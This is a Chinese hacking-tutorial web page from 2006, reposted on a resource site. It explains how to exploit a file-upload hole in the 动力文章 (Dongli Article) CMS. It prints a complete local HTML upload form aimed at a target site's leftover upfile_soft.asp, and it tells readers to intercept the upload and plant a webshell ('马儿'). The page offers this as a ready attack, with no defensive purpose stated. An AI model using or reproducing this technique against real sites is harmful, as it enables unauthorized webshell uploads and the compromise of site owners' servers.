动力文章上传漏洞的本地利用

欢迎光临极品网，更多、更新的资源信息尽在Jpinw.Com！本站所有信息资源每日更新新的内容，请大家继续关注www.Jpinw.com!如果觉得本站还不错，对您有帮助，别忘了向您的朋友推荐本站!请记好本站网址：http://www.Jpinw.com，网站发展靠大家多多的支持！！！

极品网极品课件极品论文极品文学极品游戏极品美容极品手机资源极品股票

您现在的位置：极品网 >> 电脑学院 >> 黑客攻防 >> 漏洞研究 >> 教程正文

动力文章上传漏洞的本地利用

热

【字体：小大】

动力文章上传漏洞的本地利用

作者：佚名教程来源：不详点击数：更新时间：2006-5-26

动力文章上传漏洞的本地利用

最近盛行动力文章上传漏洞，不少网站纷纷关闭了上传功能，但一些网站并没有删除上传文件：upfile_soft.asp

这就给本地利用创造了机会，我们可以在本地构造一个上传页面，将上传地址直接指向网站的upfile_soft.asp文件。

构造的本地upfile.htm源程序如下：

</head>
<body leftmargin="0" topmargin="0">
<form action=" http://www.xxx.com/upfile_soft.asp " method="post" name="form1" enctype="multipart/form-data">
<input name="FileName" type="FILE" class="tx1" size="40">
<input type="submit" name="Submit" value="上传" style="border:1px double rgb(88,88,88);font:9pt">
</form>
</body>
</html>

修改代码中相应的页面地址我们就可以重新进行上传抓包，继而上传我们的马儿！

教程录入：dping 责任编辑：dping

上一篇教程： PHP收费空间的一点小漏洞

下一篇教程：新病毒代码针对Windows图象处理过程中缺陷

【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】

最新热点		最新推荐		相关教程
				IE教程《经典文章：给IE 7添 IE教程《经典文章：给IE 7添 IE教程《经典文章：给IE 7添 IE教程《经典文章：给IE 7添 IE教程《经典文章：给IE 7添 IE教程《经典文章：给IE 7添 IE教程《经典文章：给IE 7添 IE教程《经典文章：给IE 7添 IE教程《经典文章：给IE 7添再暴动力上传漏洞

　网友评论：（只显示最新10条。评论内容只代表网友观点，与本站立场无关！）

备案号:申请中